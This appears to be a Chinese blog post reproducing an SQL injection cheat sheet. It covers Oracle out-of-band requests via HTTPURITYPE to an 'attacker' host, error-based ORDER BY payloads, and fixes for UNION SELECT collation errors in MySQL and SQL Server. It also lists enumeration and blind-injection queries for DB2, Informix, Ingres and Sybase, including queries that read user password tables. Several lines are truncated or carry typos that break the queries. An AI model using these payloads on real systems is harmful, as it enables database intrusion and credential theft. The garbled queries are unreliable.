许多Oracle安全指南建议从utl_http包中删除公共权限。不过,很多人忽视这样一个事实可使用 HTTPURITYPE对象类型实现相同的目的,而且同样能被公共权限访问到。
`SELECT HTTPURITYPE(‘http://attacker:1000/
挑战
utl inaddr不起作用。
存在多种原因,比如版本11中的访问控制列表(ACL),权限已经被撤销以及未安装Java等。
错误消息
ORA-00904 invalid identifier ORA-24247 network access denied by access control list ACL)-11g ORA-29540 oracle/plsql/net/InternetAddress
在可以控制错误消息内容的位置使用不同的函数。根据数据库版本及安装组件的不同,下面是候选函数的一个列表:
ORDER BY ORDSYS.ORD_DICOM.GETMAPPINGXPATH((SELECT banner FROM v$version WHERE rownum=1),null,null) ORDER BY SYS.DBMS_AW_XML.READAWMETADATA((SELECT banner FROM v$version WHERE rownum=1),null) ORDER BY CTXSYS.DRITHSX.SN((SELECT banner FROM v$version WHERE rownum=1),user)ORDER BY CTXSYS.CTX_REPORT.TOKEN_TYPE(user,(SELECT banner FROM v$version WHERE rownum=1))
挑战
执行针对MySQL数据库的UNION SELECT攻击时收到illegal mix of collations消息。
错误消息
illegal mix of collations(latinl_swedish_ci,IMPLICIT) and(utf8_general_ci,SYSCONST)for operation 'UNION'
可以使用CAST函数解决该错误。
例如:
UNION SELECT user(),null,null;
变为:
UNION SELECT CAST(user() ASchar),null,null;
挑战
执行针对Microsoft SQL Server数据库的UNION SELECT攻击时收到collation conflict"消息。
错误消息
Cannot resolve collation conflict for column 2 in SELECT statement
要想解决该错误,一种方法是从数据库读取Collation属性,然后在查询中使用。在下面的例子中,我们执行UNION ALL SELECT查询来检索sysobject表中的name列。
步骤1:检索collation的值
UNION ALL SELECT SERVERPROPERTY('Collation'),null FROM sysobjects
本例中,我们将Collation属性设置为SQL_Latinl_General_CPl_CI_AS
步骤2:在UNION SELECT中实现collation的值UNION ALL SELECT 1,Name collate SQL Latinl General CPl_CI_AS,null FROM sysobjects

其他平台上的SQL注入

DB2备忘单

在与Web应用集成的众多数据库中,IBM的DB2数据库服务器可能是其中最不流行的一种数据库平台。不过,Linux、UNIX和Windows版本(DB2 LUW)正日渐流行。

  1. 枚举数据库配置信息和模式

提取DB2数据库的配置信息

数 据 查 询
版本 SELECT versionnumber, version_timestamp FROM sysibm.sysversions;
当前用户 SELECT user FROM sysibm.sysdummy1;
SELECT session_user FROM sysibm.sysdummyl;
SELECT system_user FROM sysibm.sysdummyl;
列出用户 SELECT grantee FROM syscat.dbauth;
当前用户权限 SELECT * FROM syscat.dbauth WHERE grantee =user;
SELECT * FROM syscat.tabauth WHERE grantee =user;
SELECT * FROM syscat.tabauth;

提取DB2数据库的模式信息

数 据 查 询
当前数据库 SELECT current_server FROM sysibm.sysdummyl;
列出数据库 SELECT schemaname FROM syscat.schemata;
列出表 SELECT name FROM sysibm.systables;
列出列 SELECT name, tbname, coltype FROM sysbibm.syscolumns;
  1. SQL盲注函数:DB2

SQL盲注函数

数 据 查 询
字符串长度 LENGTH()
从给定字符串中提取子串 SUBSTRING(string,offset,length) FROM sysibm.sysdummyl;
字符串(‘ABC’)不带单引号的表示方式 `SELECT CHR(65)

Informix 备忘单

Informix数据库服务器也是由IBM负责经销的,相比其他数据库平台,它不是很常见。

  1. 枚举数据库配置信息和模式

提取Informix数据库的配置信息

数 据 查 询
版本 SELECT DBINFO('version','full') FROM systables WHERE tabid = 1;
当前用户 SELECT USER FROM systables WHERE tabid = 1;
列出用户 select usertype,username,password from sysusers;
当前用户权限 select tabname, tabauth, grantor, grantee FROM systabauth join systables on systables.tabid = systabauth.tabid
数据库服务器主机名 SELECT DBINFO('dbhostname') FROM systables WHERE tabid=1;

提取Informix数据库的模式信息

数 据 查 询
当前数据库 SELECT DBSERVERNAME FROM systables WHERE tabid = 1;
列出数据库 SELECT name, owner FROM sysdatabases;
列出表 SELECT tabname FROM systables;
SELECT tabname, viewtext FROM sysviews join systables on systables.tabid = sysviews.tabid;
列出列 SELECT tabname, colname, coltype FROM syscolumns join systables on syscolumns.tabid = systables.tabid;
  1. SQL 盲注函数:Informix

SQL盲注函数

数 据 查 询
字符串长度 LENGTH()
从给定字符串中提取子串 SELECT SUBSTRING('ABCD' FROM 4 FOR 1) FROM systables where tabid = 1; --返回'D';
字符串(‘ABC’)不带单引号的表示方式 `SELECT CHR(65)

Ingres 备忘单

Ingres是一种可以在所有主流操作系统上使用的开源数据库。

  1. 枚举数据库配置信息和模式

提取Ingres数据库的配置信息

数 据 查 询
版本 SELECT dbsminfo('version');
当前用户 SELECT dbsminfo('system user');
SELECT dbsminfo('session user');
列出用户 SELECT name, password FROM iiuser;
当前用户权限 SELECT dbsminfo('select_syscat');
SELECT dbsminfo('db_privileges');
SELECT dbsminfo('current_priv_mask');
SELECT dbsminfo('db_admin');
SELECT dbsminfo('security_priv');
SELECT dbsminfo('create_table');
SELECT dbsminfo('create procedure');

提取Ingres数据库的模式信息

数 据 查 询
当前数据库 SELECT dbmsinfo(database');
列出表 SELECT relid, relowner, relloc FROM iirelation WHERE relowner != '$ingres';
列出列 SELECT column_name, column_datatype, table_name, table_owner FROM iicolumns;
  1. SQL盲注函数:Ingres

SQL盲注函数

数 据 查 询
字符串长度 LENGTH()
从给定字符串中提取子串 SELECT substr(string, offset, length); --
字符串(‘ABC’)不带单引号的表示方式 `SELECT chr(65)

Sybase 备忘单

Sybase与Microsoft SQL Server共享了共同的遗产,在Microsoft SQL Server中使用的很多 方法对于Sybase同样有效,往往只须在所用命令的语法上稍加修改即可。

  1. 枚举数据库配置信息和模式

提取Sybase数据库的配置信息

数 据 查 询
版本 SELECT @@version;
当前用户 SELECT username();
SELECT suser_name();
SELECT user;
列出用户 SELECT name FROM master..syslogins;
当前用户权限 SELECT show role();
EXEC sp_helprotect <user>;

提取Sybase数据库的模式信息

数 据 查 询
当前数据库 SELECT db_name();
列出数据库 SELECT name FROM master..sysdatabases;
列出表 列出当前数据库中的表:
SELECT name FROM sysobjects WHERE type='U';
SELECT name FROM sysobjects WHERE type='V'-- 视图
列出master数据库中的表:
SELECT name FROM master..sysobjects WHERE type= 'U';
SELECT name FROM master..sysobjects WHERE type='V';
列出列 列出当前数据库中tblUsers表的各个列的名称:
SELECT name FROM syscolumns WHERE id=object_ id('tblUsers');
列出admin数据库中tblUsers表的各个列的名称:
SELECT name FROM admin..syscolumns WHERE id=object_id('admin..tblUsers');
  1. SQL盲注函数:Sybase

SQL盲注函数

数 据 查 询
字符串长度 LEN();
从给定字符串中提取子串 SUBSTRING(string,offset,length);
字符串(‘ABC’)不带单引号的表示方式 SELECT char(65)+char(66)+char(67);

Microsoft Access

Microsoft Access数据库无法很好地适应企业级应用,所以通常只在具有极小数据库需求 的应用中才会遇到。

资源

SQL注入白皮书

SQL注入备忘单

SQL注入利用工具

口令破解工具


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
评论
  目录